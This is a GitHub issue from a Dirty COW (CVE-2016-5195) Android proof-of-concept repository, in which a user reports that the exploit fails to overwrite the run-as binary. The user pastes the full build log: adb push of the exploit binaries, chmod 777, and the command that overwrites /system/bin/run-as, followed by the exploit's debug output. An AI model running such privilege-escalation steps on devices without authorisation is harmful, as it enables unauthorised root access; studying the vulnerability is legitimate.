timwr / CVE-2016-5195

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android
959 stars 395 forks source link

Can't overwrite run-as executable #93

Open zaoqi opened 5 years ago

zaoqi commented 5 years ago

but Dirtycow Checker displays Your device is vulnerable

[zaoqi@zaoqi-pc CVE-2016-5195]$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19
make[1]: Entering directory `/home/zaoqi/Android/A63/CVE-2016-5195'
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
make[1]: Leaving directory `/home/zaoqi/Android/A63/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
libs/armeabi-v7a/dirtycow: 1 file pushed. 2.1 MB/s (9892 bytes in 0.004s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
libs/armeabi-v7a/run-as: 1 file pushed. 2.1 MB/s (9892 bytes in 0.004s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (9892) and destination file size (9440) differ

corruption?

[*] size 9892
[*] mmap 0x40111000
[*] currently 0x40111000=464c457f
[*] using /proc/self/mem method
[*] madvise = 0x40111000 9892
[*] madvise = 0 10257869
[*] /proc/self/mem 820651444 951333
[*] exploited 0 0x40111000=464c457f
[zaoqi@zaoqi-pc CVE-2016-5195]$